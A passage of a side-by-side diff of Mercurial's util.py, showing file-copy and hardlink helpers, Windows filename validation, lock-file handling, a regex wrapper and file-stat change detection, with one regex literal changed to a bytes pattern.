1872
1872
1873 return check
1873 return check
1874
1874
1875
1875
1876 # a whilelist of known filesystems where hardlink works reliably
1876 # a whilelist of known filesystems where hardlink works reliably
1877 _hardlinkfswhitelist = {
1877 _hardlinkfswhitelist = {
1878 b'apfs',
1878 b'apfs',
1879 b'btrfs',
1879 b'btrfs',
1880 b'ext2',
1880 b'ext2',
1881 b'ext3',
1881 b'ext3',
1882 b'ext4',
1882 b'ext4',
1883 b'hfs',
1883 b'hfs',
1884 b'jfs',
1884 b'jfs',
1885 b'NTFS',
1885 b'NTFS',
1886 b'reiserfs',
1886 b'reiserfs',
1887 b'tmpfs',
1887 b'tmpfs',
1888 b'ufs',
1888 b'ufs',
1889 b'xfs',
1889 b'xfs',
1890 b'zfs',
1890 b'zfs',
1891 }
1891 }
1892
1892
1893
1893
1894 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1894 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1895 """copy a file, preserving mode and optionally other stat info like
1895 """copy a file, preserving mode and optionally other stat info like
1896 atime/mtime
1896 atime/mtime
1897
1897
1898 checkambig argument is used with filestat, and is useful only if
1898 checkambig argument is used with filestat, and is useful only if
1899 destination file is guarded by any lock (e.g. repo.lock or
1899 destination file is guarded by any lock (e.g. repo.lock or
1900 repo.wlock).
1900 repo.wlock).
1901
1901
1902 copystat and checkambig should be exclusive.
1902 copystat and checkambig should be exclusive.
1903 """
1903 """
1904 assert not (copystat and checkambig)
1904 assert not (copystat and checkambig)
1905 oldstat = None
1905 oldstat = None
1906 if os.path.lexists(dest):
1906 if os.path.lexists(dest):
1907 if checkambig:
1907 if checkambig:
1908 oldstat = checkambig and filestat.frompath(dest)
1908 oldstat = checkambig and filestat.frompath(dest)
1909 unlink(dest)
1909 unlink(dest)
1910 if hardlink:
1910 if hardlink:
1911 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1911 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1912 # unless we are confident that dest is on a whitelisted filesystem.
1912 # unless we are confident that dest is on a whitelisted filesystem.
1913 try:
1913 try:
1914 fstype = getfstype(os.path.dirname(dest))
1914 fstype = getfstype(os.path.dirname(dest))
1915 except OSError:
1915 except OSError:
1916 fstype = None
1916 fstype = None
1917 if fstype not in _hardlinkfswhitelist:
1917 if fstype not in _hardlinkfswhitelist:
1918 hardlink = False
1918 hardlink = False
1919 if hardlink:
1919 if hardlink:
1920 try:
1920 try:
1921 oslink(src, dest)
1921 oslink(src, dest)
1922 return
1922 return
1923 except (IOError, OSError):
1923 except (IOError, OSError):
1924 pass # fall back to normal copy
1924 pass # fall back to normal copy
1925 if os.path.islink(src):
1925 if os.path.islink(src):
1926 os.symlink(os.readlink(src), dest)
1926 os.symlink(os.readlink(src), dest)
1927 # copytime is ignored for symlinks, but in general copytime isn't needed
1927 # copytime is ignored for symlinks, but in general copytime isn't needed
1928 # for them anyway
1928 # for them anyway
1929 else:
1929 else:
1930 try:
1930 try:
1931 shutil.copyfile(src, dest)
1931 shutil.copyfile(src, dest)
1932 if copystat:
1932 if copystat:
1933 # copystat also copies mode
1933 # copystat also copies mode
1934 shutil.copystat(src, dest)
1934 shutil.copystat(src, dest)
1935 else:
1935 else:
1936 shutil.copymode(src, dest)
1936 shutil.copymode(src, dest)
1937 if oldstat and oldstat.stat:
1937 if oldstat and oldstat.stat:
1938 newstat = filestat.frompath(dest)
1938 newstat = filestat.frompath(dest)
1939 if newstat.isambig(oldstat):
1939 if newstat.isambig(oldstat):
1940 # stat of copied file is ambiguous to original one
1940 # stat of copied file is ambiguous to original one
1941 advanced = (
1941 advanced = (
1942 oldstat.stat[stat.ST_MTIME] + 1
1942 oldstat.stat[stat.ST_MTIME] + 1
1943 ) & 0x7FFFFFFF
1943 ) & 0x7FFFFFFF
1944 os.utime(dest, (advanced, advanced))
1944 os.utime(dest, (advanced, advanced))
1945 except shutil.Error as inst:
1945 except shutil.Error as inst:
1946 raise error.Abort(stringutil.forcebytestr(inst))
1946 raise error.Abort(stringutil.forcebytestr(inst))
1947
1947
1948
1948
1949 def copyfiles(src, dst, hardlink=None, progress=None):
1949 def copyfiles(src, dst, hardlink=None, progress=None):
1950 """Copy a directory tree using hardlinks if possible."""
1950 """Copy a directory tree using hardlinks if possible."""
1951 num = 0
1951 num = 0
1952
1952
1953 def settopic():
1953 def settopic():
1954 if progress:
1954 if progress:
1955 progress.topic = _(b'linking') if hardlink else _(b'copying')
1955 progress.topic = _(b'linking') if hardlink else _(b'copying')
1956
1956
1957 if os.path.isdir(src):
1957 if os.path.isdir(src):
1958 if hardlink is None:
1958 if hardlink is None:
1959 hardlink = (
1959 hardlink = (
1960 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1960 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1961 )
1961 )
1962 settopic()
1962 settopic()
1963 os.mkdir(dst)
1963 os.mkdir(dst)
1964 for name, kind in listdir(src):
1964 for name, kind in listdir(src):
1965 srcname = os.path.join(src, name)
1965 srcname = os.path.join(src, name)
1966 dstname = os.path.join(dst, name)
1966 dstname = os.path.join(dst, name)
1967 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1967 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1968 num += n
1968 num += n
1969 else:
1969 else:
1970 if hardlink is None:
1970 if hardlink is None:
1971 hardlink = (
1971 hardlink = (
1972 os.stat(os.path.dirname(src)).st_dev
1972 os.stat(os.path.dirname(src)).st_dev
1973 == os.stat(os.path.dirname(dst)).st_dev
1973 == os.stat(os.path.dirname(dst)).st_dev
1974 )
1974 )
1975 settopic()
1975 settopic()
1976
1976
1977 if hardlink:
1977 if hardlink:
1978 try:
1978 try:
1979 oslink(src, dst)
1979 oslink(src, dst)
1980 except (IOError, OSError):
1980 except (IOError, OSError):
1981 hardlink = False
1981 hardlink = False
1982 shutil.copy(src, dst)
1982 shutil.copy(src, dst)
1983 else:
1983 else:
1984 shutil.copy(src, dst)
1984 shutil.copy(src, dst)
1985 num += 1
1985 num += 1
1986 if progress:
1986 if progress:
1987 progress.increment()
1987 progress.increment()
1988
1988
1989 return hardlink, num
1989 return hardlink, num
1990
1990
1991
1991
1992 _winreservednames = {
1992 _winreservednames = {
1993 b'con',
1993 b'con',
1994 b'prn',
1994 b'prn',
1995 b'aux',
1995 b'aux',
1996 b'nul',
1996 b'nul',
1997 b'com1',
1997 b'com1',
1998 b'com2',
1998 b'com2',
1999 b'com3',
1999 b'com3',
2000 b'com4',
2000 b'com4',
2001 b'com5',
2001 b'com5',
2002 b'com6',
2002 b'com6',
2003 b'com7',
2003 b'com7',
2004 b'com8',
2004 b'com8',
2005 b'com9',
2005 b'com9',
2006 b'lpt1',
2006 b'lpt1',
2007 b'lpt2',
2007 b'lpt2',
2008 b'lpt3',
2008 b'lpt3',
2009 b'lpt4',
2009 b'lpt4',
2010 b'lpt5',
2010 b'lpt5',
2011 b'lpt6',
2011 b'lpt6',
2012 b'lpt7',
2012 b'lpt7',
2013 b'lpt8',
2013 b'lpt8',
2014 b'lpt9',
2014 b'lpt9',
2015 }
2015 }
2016 _winreservedchars = b':*?"<>|'
2016 _winreservedchars = b':*?"<>|'
2017
2017
2018
2018
2019 def checkwinfilename(path):
2019 def checkwinfilename(path):
2020 r"""Check that the base-relative path is a valid filename on Windows.
2020 r"""Check that the base-relative path is a valid filename on Windows.
2021 Returns None if the path is ok, or a UI string describing the problem.
2021 Returns None if the path is ok, or a UI string describing the problem.
2022
2022
2023 >>> checkwinfilename(b"just/a/normal/path")
2023 >>> checkwinfilename(b"just/a/normal/path")
2024 >>> checkwinfilename(b"foo/bar/con.xml")
2024 >>> checkwinfilename(b"foo/bar/con.xml")
2025 "filename contains 'con', which is reserved on Windows"
2025 "filename contains 'con', which is reserved on Windows"
2026 >>> checkwinfilename(b"foo/con.xml/bar")
2026 >>> checkwinfilename(b"foo/con.xml/bar")
2027 "filename contains 'con', which is reserved on Windows"
2027 "filename contains 'con', which is reserved on Windows"
2028 >>> checkwinfilename(b"foo/bar/xml.con")
2028 >>> checkwinfilename(b"foo/bar/xml.con")
2029 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2029 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2030 "filename contains 'AUX', which is reserved on Windows"
2030 "filename contains 'AUX', which is reserved on Windows"
2031 >>> checkwinfilename(b"foo/bar/bla:.txt")
2031 >>> checkwinfilename(b"foo/bar/bla:.txt")
2032 "filename contains ':', which is reserved on Windows"
2032 "filename contains ':', which is reserved on Windows"
2033 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2033 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2034 "filename contains '\\x07', which is invalid on Windows"
2034 "filename contains '\\x07', which is invalid on Windows"
2035 >>> checkwinfilename(b"foo/bar/bla ")
2035 >>> checkwinfilename(b"foo/bar/bla ")
2036 "filename ends with ' ', which is not allowed on Windows"
2036 "filename ends with ' ', which is not allowed on Windows"
2037 >>> checkwinfilename(b"../bar")
2037 >>> checkwinfilename(b"../bar")
2038 >>> checkwinfilename(b"foo\\")
2038 >>> checkwinfilename(b"foo\\")
2039 "filename ends with '\\', which is invalid on Windows"
2039 "filename ends with '\\', which is invalid on Windows"
2040 >>> checkwinfilename(b"foo\\/bar")
2040 >>> checkwinfilename(b"foo\\/bar")
2041 "directory name ends with '\\', which is invalid on Windows"
2041 "directory name ends with '\\', which is invalid on Windows"
2042 """
2042 """
2043 if path.endswith(b'\\'):
2043 if path.endswith(b'\\'):
2044 return _(b"filename ends with '\\', which is invalid on Windows")
2044 return _(b"filename ends with '\\', which is invalid on Windows")
2045 if b'\\/' in path:
2045 if b'\\/' in path:
2046 return _(b"directory name ends with '\\', which is invalid on Windows")
2046 return _(b"directory name ends with '\\', which is invalid on Windows")
2047 for n in path.replace(b'\\', b'/').split(b'/'):
2047 for n in path.replace(b'\\', b'/').split(b'/'):
2048 if not n:
2048 if not n:
2049 continue
2049 continue
2050 for c in _filenamebytestr(n):
2050 for c in _filenamebytestr(n):
2051 if c in _winreservedchars:
2051 if c in _winreservedchars:
2052 return (
2052 return (
2053 _(
2053 _(
2054 b"filename contains '%s', which is reserved "
2054 b"filename contains '%s', which is reserved "
2055 b"on Windows"
2055 b"on Windows"
2056 )
2056 )
2057 % c
2057 % c
2058 )
2058 )
2059 if ord(c) <= 31:
2059 if ord(c) <= 31:
2060 return _(
2060 return _(
2061 b"filename contains '%s', which is invalid on Windows"
2061 b"filename contains '%s', which is invalid on Windows"
2062 ) % stringutil.escapestr(c)
2062 ) % stringutil.escapestr(c)
2063 base = n.split(b'.')[0]
2063 base = n.split(b'.')[0]
2064 if base and base.lower() in _winreservednames:
2064 if base and base.lower() in _winreservednames:
2065 return (
2065 return (
2066 _(b"filename contains '%s', which is reserved on Windows")
2066 _(b"filename contains '%s', which is reserved on Windows")
2067 % base
2067 % base
2068 )
2068 )
2069 t = n[-1:]
2069 t = n[-1:]
2070 if t in b'. ' and n not in b'..':
2070 if t in b'. ' and n not in b'..':
2071 return (
2071 return (
2072 _(
2072 _(
2073 b"filename ends with '%s', which is not allowed "
2073 b"filename ends with '%s', which is not allowed "
2074 b"on Windows"
2074 b"on Windows"
2075 )
2075 )
2076 % t
2076 % t
2077 )
2077 )
2078
2078
2079
2079
2080 timer = getattr(time, "perf_counter", None)
2080 timer = getattr(time, "perf_counter", None)
2081
2081
2082 if pycompat.iswindows:
2082 if pycompat.iswindows:
2083 checkosfilename = checkwinfilename
2083 checkosfilename = checkwinfilename
2084 if not timer:
2084 if not timer:
2085 timer = time.clock
2085 timer = time.clock
2086 else:
2086 else:
2087 # mercurial.windows doesn't have platform.checkosfilename
2087 # mercurial.windows doesn't have platform.checkosfilename
2088 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2088 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2089 if not timer:
2089 if not timer:
2090 timer = time.time
2090 timer = time.time
2091
2091
2092
2092
2093 def makelock(info, pathname):
2093 def makelock(info, pathname):
2094 """Create a lock file atomically if possible
2094 """Create a lock file atomically if possible
2095
2095
2096 This may leave a stale lock file if symlink isn't supported and signal
2096 This may leave a stale lock file if symlink isn't supported and signal
2097 interrupt is enabled.
2097 interrupt is enabled.
2098 """
2098 """
2099 try:
2099 try:
2100 return os.symlink(info, pathname)
2100 return os.symlink(info, pathname)
2101 except OSError as why:
2101 except OSError as why:
2102 if why.errno == errno.EEXIST:
2102 if why.errno == errno.EEXIST:
2103 raise
2103 raise
2104 except AttributeError: # no symlink in os
2104 except AttributeError: # no symlink in os
2105 pass
2105 pass
2106
2106
2107 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2107 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2108 ld = os.open(pathname, flags)
2108 ld = os.open(pathname, flags)
2109 os.write(ld, info)
2109 os.write(ld, info)
2110 os.close(ld)
2110 os.close(ld)
2111
2111
2112
2112
2113 def readlock(pathname):
2113 def readlock(pathname):
2114 try:
2114 try:
2115 return readlink(pathname)
2115 return readlink(pathname)
2116 except OSError as why:
2116 except OSError as why:
2117 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2117 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2118 raise
2118 raise
2119 except AttributeError: # no symlink in os
2119 except AttributeError: # no symlink in os
2120 pass
2120 pass
2121 with posixfile(pathname, b'rb') as fp:
2121 with posixfile(pathname, b'rb') as fp:
2122 return fp.read()
2122 return fp.read()
2123
2123
2124
2124
2125 def fstat(fp):
2125 def fstat(fp):
2126 '''stat file object that may not have fileno method.'''
2126 '''stat file object that may not have fileno method.'''
2127 try:
2127 try:
2128 return os.fstat(fp.fileno())
2128 return os.fstat(fp.fileno())
2129 except AttributeError:
2129 except AttributeError:
2130 return os.stat(fp.name)
2130 return os.stat(fp.name)
2131
2131
2132
2132
2133 # File system features
2133 # File system features
2134
2134
2135
2135
2136 def fscasesensitive(path):
2136 def fscasesensitive(path):
2137 """
2137 """
2138 Return true if the given path is on a case-sensitive filesystem
2138 Return true if the given path is on a case-sensitive filesystem
2139
2139
2140 Requires a path (like /foo/.hg) ending with a foldable final
2140 Requires a path (like /foo/.hg) ending with a foldable final
2141 directory component.
2141 directory component.
2142 """
2142 """
2143 s1 = os.lstat(path)
2143 s1 = os.lstat(path)
2144 d, b = os.path.split(path)
2144 d, b = os.path.split(path)
2145 b2 = b.upper()
2145 b2 = b.upper()
2146 if b == b2:
2146 if b == b2:
2147 b2 = b.lower()
2147 b2 = b.lower()
2148 if b == b2:
2148 if b == b2:
2149 return True # no evidence against case sensitivity
2149 return True # no evidence against case sensitivity
2150 p2 = os.path.join(d, b2)
2150 p2 = os.path.join(d, b2)
2151 try:
2151 try:
2152 s2 = os.lstat(p2)
2152 s2 = os.lstat(p2)
2153 if s2 == s1:
2153 if s2 == s1:
2154 return False
2154 return False
2155 return True
2155 return True
2156 except OSError:
2156 except OSError:
2157 return True
2157 return True
2158
2158
2159
2159
2160 try:
2160 try:
2161 import re2 # pytype: disable=import-error
2161 import re2 # pytype: disable=import-error
2162
2162
2163 _re2 = None
2163 _re2 = None
2164 except ImportError:
2164 except ImportError:
2165 _re2 = False
2165 _re2 = False
2166
2166
2167
2167
2168 class _re(object):
2168 class _re(object):
2169 def _checkre2(self):
2169 def _checkre2(self):
2170 global _re2
2170 global _re2
2171 try:
2171 try:
2172 # check if match works, see issue3964
2172 # check if match works, see issue3964
2173 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2173 _re2 = bool(re2.match(br'\[([^\[]+)\]', b'[ui]'))
2174 except ImportError:
2174 except ImportError:
2175 _re2 = False
2175 _re2 = False
2176
2176
2177 def compile(self, pat, flags=0):
2177 def compile(self, pat, flags=0):
2178 """Compile a regular expression, using re2 if possible
2178 """Compile a regular expression, using re2 if possible
2179
2179
2180 For best performance, use only re2-compatible regexp features. The
2180 For best performance, use only re2-compatible regexp features. The
2181 only flags from the re module that are re2-compatible are
2181 only flags from the re module that are re2-compatible are
2182 IGNORECASE and MULTILINE."""
2182 IGNORECASE and MULTILINE."""
2183 if _re2 is None:
2183 if _re2 is None:
2184 self._checkre2()
2184 self._checkre2()
2185 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2185 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2186 if flags & remod.IGNORECASE:
2186 if flags & remod.IGNORECASE:
2187 pat = b'(?i)' + pat
2187 pat = b'(?i)' + pat
2188 if flags & remod.MULTILINE:
2188 if flags & remod.MULTILINE:
2189 pat = b'(?m)' + pat
2189 pat = b'(?m)' + pat
2190 try:
2190 try:
2191 return re2.compile(pat)
2191 return re2.compile(pat)
2192 except re2.error:
2192 except re2.error:
2193 pass
2193 pass
2194 return remod.compile(pat, flags)
2194 return remod.compile(pat, flags)
2195
2195
2196 @propertycache
2196 @propertycache
2197 def escape(self):
2197 def escape(self):
2198 """Return the version of escape corresponding to self.compile.
2198 """Return the version of escape corresponding to self.compile.
2199
2199
2200 This is imperfect because whether re2 or re is used for a particular
2200 This is imperfect because whether re2 or re is used for a particular
2201 function depends on the flags, etc, but it's the best we can do.
2201 function depends on the flags, etc, but it's the best we can do.
2202 """
2202 """
2203 global _re2
2203 global _re2
2204 if _re2 is None:
2204 if _re2 is None:
2205 self._checkre2()
2205 self._checkre2()
2206 if _re2:
2206 if _re2:
2207 return re2.escape
2207 return re2.escape
2208 else:
2208 else:
2209 return remod.escape
2209 return remod.escape
2210
2210
2211
2211
2212 re = _re()
2212 re = _re()
2213
2213
2214 _fspathcache = {}
2214 _fspathcache = {}
2215
2215
2216
2216
2217 def fspath(name, root):
2217 def fspath(name, root):
2218 """Get name in the case stored in the filesystem
2218 """Get name in the case stored in the filesystem
2219
2219
2220 The name should be relative to root, and be normcase-ed for efficiency.
2220 The name should be relative to root, and be normcase-ed for efficiency.
2221
2221
2222 Note that this function is unnecessary, and should not be
2222 Note that this function is unnecessary, and should not be
2223 called, for case-sensitive filesystems (simply because it's expensive).
2223 called, for case-sensitive filesystems (simply because it's expensive).
2224
2224
2225 The root should be normcase-ed, too.
2225 The root should be normcase-ed, too.
2226 """
2226 """
2227
2227
2228 def _makefspathcacheentry(dir):
2228 def _makefspathcacheentry(dir):
2229 return {normcase(n): n for n in os.listdir(dir)}
2229 return {normcase(n): n for n in os.listdir(dir)}
2230
2230
2231 seps = pycompat.ossep
2231 seps = pycompat.ossep
2232 if pycompat.osaltsep:
2232 if pycompat.osaltsep:
2233 seps = seps + pycompat.osaltsep
2233 seps = seps + pycompat.osaltsep
2234 # Protect backslashes. This gets silly very quickly.
2234 # Protect backslashes. This gets silly very quickly.
2235 seps.replace(b'\\', b'\\\\')
2235 seps.replace(b'\\', b'\\\\')
2236 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2236 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2237 dir = os.path.normpath(root)
2237 dir = os.path.normpath(root)
2238 result = []
2238 result = []
2239 for part, sep in pattern.findall(name):
2239 for part, sep in pattern.findall(name):
2240 if sep:
2240 if sep:
2241 result.append(sep)
2241 result.append(sep)
2242 continue
2242 continue
2243
2243
2244 if dir not in _fspathcache:
2244 if dir not in _fspathcache:
2245 _fspathcache[dir] = _makefspathcacheentry(dir)
2245 _fspathcache[dir] = _makefspathcacheentry(dir)
2246 contents = _fspathcache[dir]
2246 contents = _fspathcache[dir]
2247
2247
2248 found = contents.get(part)
2248 found = contents.get(part)
2249 if not found:
2249 if not found:
2250 # retry "once per directory" per "dirstate.walk" which
2250 # retry "once per directory" per "dirstate.walk" which
2251 # may take place for each patches of "hg qpush", for example
2251 # may take place for each patches of "hg qpush", for example
2252 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2252 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2253 found = contents.get(part)
2253 found = contents.get(part)
2254
2254
2255 result.append(found or part)
2255 result.append(found or part)
2256 dir = os.path.join(dir, part)
2256 dir = os.path.join(dir, part)
2257
2257
2258 return b''.join(result)
2258 return b''.join(result)
2259
2259
2260
2260
2261 def checknlink(testfile):
2261 def checknlink(testfile):
2262 '''check whether hardlink count reporting works properly'''
2262 '''check whether hardlink count reporting works properly'''
2263
2263
2264 # testfile may be open, so we need a separate file for checking to
2264 # testfile may be open, so we need a separate file for checking to
2265 # work around issue2543 (or testfile may get lost on Samba shares)
2265 # work around issue2543 (or testfile may get lost on Samba shares)
2266 f1, f2, fp = None, None, None
2266 f1, f2, fp = None, None, None
2267 try:
2267 try:
2268 fd, f1 = pycompat.mkstemp(
2268 fd, f1 = pycompat.mkstemp(
2269 prefix=b'.%s-' % os.path.basename(testfile),
2269 prefix=b'.%s-' % os.path.basename(testfile),
2270 suffix=b'1~',
2270 suffix=b'1~',
2271 dir=os.path.dirname(testfile),
2271 dir=os.path.dirname(testfile),
2272 )
2272 )
2273 os.close(fd)
2273 os.close(fd)
2274 f2 = b'%s2~' % f1[:-2]
2274 f2 = b'%s2~' % f1[:-2]
2275
2275
2276 oslink(f1, f2)
2276 oslink(f1, f2)
2277 # nlinks() may behave differently for files on Windows shares if
2277 # nlinks() may behave differently for files on Windows shares if
2278 # the file is open.
2278 # the file is open.
2279 fp = posixfile(f2)
2279 fp = posixfile(f2)
2280 return nlinks(f2) > 1
2280 return nlinks(f2) > 1
2281 except OSError:
2281 except OSError:
2282 return False
2282 return False
2283 finally:
2283 finally:
2284 if fp is not None:
2284 if fp is not None:
2285 fp.close()
2285 fp.close()
2286 for f in (f1, f2):
2286 for f in (f1, f2):
2287 try:
2287 try:
2288 if f is not None:
2288 if f is not None:
2289 os.unlink(f)
2289 os.unlink(f)
2290 except OSError:
2290 except OSError:
2291 pass
2291 pass
2292
2292
2293
2293
2294 def endswithsep(path):
2294 def endswithsep(path):
2295 '''Check path ends with os.sep or os.altsep.'''
2295 '''Check path ends with os.sep or os.altsep.'''
2296 return (
2296 return (
2297 path.endswith(pycompat.ossep)
2297 path.endswith(pycompat.ossep)
2298 or pycompat.osaltsep
2298 or pycompat.osaltsep
2299 and path.endswith(pycompat.osaltsep)
2299 and path.endswith(pycompat.osaltsep)
2300 )
2300 )
2301
2301
2302
2302
2303 def splitpath(path):
2303 def splitpath(path):
2304 """Split path by os.sep.
2304 """Split path by os.sep.
2305 Note that this function does not use os.altsep because this is
2305 Note that this function does not use os.altsep because this is
2306 an alternative of simple "xxx.split(os.sep)".
2306 an alternative of simple "xxx.split(os.sep)".
2307 It is recommended to use os.path.normpath() before using this
2307 It is recommended to use os.path.normpath() before using this
2308 function if need."""
2308 function if need."""
2309 return path.split(pycompat.ossep)
2309 return path.split(pycompat.ossep)
2310
2310
2311
2311
2312 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2312 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2313 """Create a temporary file with the same contents from name
2313 """Create a temporary file with the same contents from name
2314
2314
2315 The permission bits are copied from the original file.
2315 The permission bits are copied from the original file.
2316
2316
2317 If the temporary file is going to be truncated immediately, you
2317 If the temporary file is going to be truncated immediately, you
2318 can use emptyok=True as an optimization.
2318 can use emptyok=True as an optimization.
2319
2319
2320 Returns the name of the temporary file.
2320 Returns the name of the temporary file.
2321 """
2321 """
2322 d, fn = os.path.split(name)
2322 d, fn = os.path.split(name)
2323 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2323 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2324 os.close(fd)
2324 os.close(fd)
2325 # Temporary files are created with mode 0600, which is usually not
2325 # Temporary files are created with mode 0600, which is usually not
2326 # what we want. If the original file already exists, just copy
2326 # what we want. If the original file already exists, just copy
2327 # its mode. Otherwise, manually obey umask.
2327 # its mode. Otherwise, manually obey umask.
2328 copymode(name, temp, createmode, enforcewritable)
2328 copymode(name, temp, createmode, enforcewritable)
2329
2329
2330 if emptyok:
2330 if emptyok:
2331 return temp
2331 return temp
2332 try:
2332 try:
2333 try:
2333 try:
2334 ifp = posixfile(name, b"rb")
2334 ifp = posixfile(name, b"rb")
2335 except IOError as inst:
2335 except IOError as inst:
2336 if inst.errno == errno.ENOENT:
2336 if inst.errno == errno.ENOENT:
2337 return temp
2337 return temp
2338 if not getattr(inst, 'filename', None):
2338 if not getattr(inst, 'filename', None):
2339 inst.filename = name
2339 inst.filename = name
2340 raise
2340 raise
2341 ofp = posixfile(temp, b"wb")
2341 ofp = posixfile(temp, b"wb")
2342 for chunk in filechunkiter(ifp):
2342 for chunk in filechunkiter(ifp):
2343 ofp.write(chunk)
2343 ofp.write(chunk)
2344 ifp.close()
2344 ifp.close()
2345 ofp.close()
2345 ofp.close()
2346 except: # re-raises
2346 except: # re-raises
2347 try:
2347 try:
2348 os.unlink(temp)
2348 os.unlink(temp)
2349 except OSError:
2349 except OSError:
2350 pass
2350 pass
2351 raise
2351 raise
2352 return temp
2352 return temp
2353
2353
2354
2354
2355 class filestat(object):
2355 class filestat(object):
2356 """help to exactly detect change of a file
2356 """help to exactly detect change of a file
2357
2357
2358 'stat' attribute is result of 'os.stat()' if specified 'path'
2358 'stat' attribute is result of 'os.stat()' if specified 'path'
2359 exists. Otherwise, it is None. This can avoid preparative
2359 exists. Otherwise, it is None. This can avoid preparative
2360 'exists()' examination on client side of this class.
2360 'exists()' examination on client side of this class.
2361 """
2361 """
2362
2362
2363 def __init__(self, stat):
2363 def __init__(self, stat):
2364 self.stat = stat
2364 self.stat = stat
2365
2365
2366 @classmethod
2366 @classmethod
2367 def frompath(cls, path):
2367 def frompath(cls, path):
2368 try:
2368 try:
2369 stat = os.stat(path)
2369 stat = os.stat(path)
2370 except OSError as err:
2370 except OSError as err:
2371 if err.errno != errno.ENOENT:
2371 if err.errno != errno.ENOENT:
2372 raise
2372 raise
2373 stat = None
2373 stat = None
2374 return cls(stat)
2374 return cls(stat)
2375
2375
2376 @classmethod
2376 @classmethod
2377 def fromfp(cls, fp):
2377 def fromfp(cls, fp):
2378 stat = os.fstat(fp.fileno())
2378 stat = os.fstat(fp.fileno())
2379 return cls(stat)
2379 return cls(stat)
2380
2380
2381 __hash__ = object.__hash__
2381 __hash__ = object.__hash__
2382
2382
2383 def __eq__(self, old):
2383 def __eq__(self, old):
2384 try:
2384 try:
2385 # if ambiguity between stat of new and old file is
2385 # if ambiguity between stat of new and old file is
2386 # avoided, comparison of size, ctime and mtime is enough
2386 # avoided, comparison of size, ctime and mtime is enough
2387 # to exactly detect change of a file regardless of platform
2387 # to exactly detect change of a file regardless of platform
2388 return (
2388 return (
2389 self.stat.st_size == old.stat.st_size
2389 self.stat.st_size == old.stat.st_size
2390 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2390 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2391 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2391 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2392 )
2392 )
2393 except AttributeError:
2393 except AttributeError:
2394 pass
2394 pass
2395 try:
2395 try:
2396 return self.stat is None and old.stat is None
2396 return self.stat is None and old.stat is None
2397 except AttributeError:
2397 except AttributeError:
2398 return False
2398 return False
2399
2399
2400 def isambig(self, old):
2400 def isambig(self, old):
2401 """Examine whether new (= self) stat is ambiguous against old one
2401 """Examine whether new (= self) stat is ambiguous against old one
2402
2402
2403 "S[N]" below means stat of a file at N-th change:
2403 "S[N]" below means stat of a file at N-th change:
2404
2404
2405 - S[n-1].ctime < S[n].ctime: can detect change of a file
2405 - S[n-1].ctime < S[n].ctime: can detect change of a file
2406 - S[n-1].ctime == S[n].ctime
2406 - S[n-1].ctime == S[n].ctime
2407 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2407 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2408 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2408 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2409 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2409 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2410 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2410 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2411
2411
2412 Case (*2) above means that a file was changed twice or more at
2412 Case (*2) above means that a file was changed twice or more at
2413 same time in sec (= S[n-1].ctime), and comparison of timestamp
2413 same time in sec (= S[n-1].ctime), and comparison of timestamp
2414 is ambiguous.
2414 is ambiguous.
2415
2415
2416 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2416 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2417 timestamp is ambiguous".
2417 timestamp is ambiguous".
2418
2418
2419 But advancing mtime only in case (*2) doesn't work as
2419 But advancing mtime only in case (*2) doesn't work as
2420 expected, because naturally advanced S[n].mtime in case (*1)
2420 expected, because naturally advanced S[n].mtime in case (*1)
2421 might be equal to manually advanced S[n-1 or earlier].mtime.
2421 might be equal to manually advanced S[n-1 or earlier].mtime.
2422
2422
2423 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2423 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2424 treated as ambiguous regardless of mtime, to avoid overlooking
2424 treated as ambiguous regardless of mtime, to avoid overlooking
2425 by confliction between such mtime.
2425 by confliction between such mtime.
2426
2426
2427 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2427 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
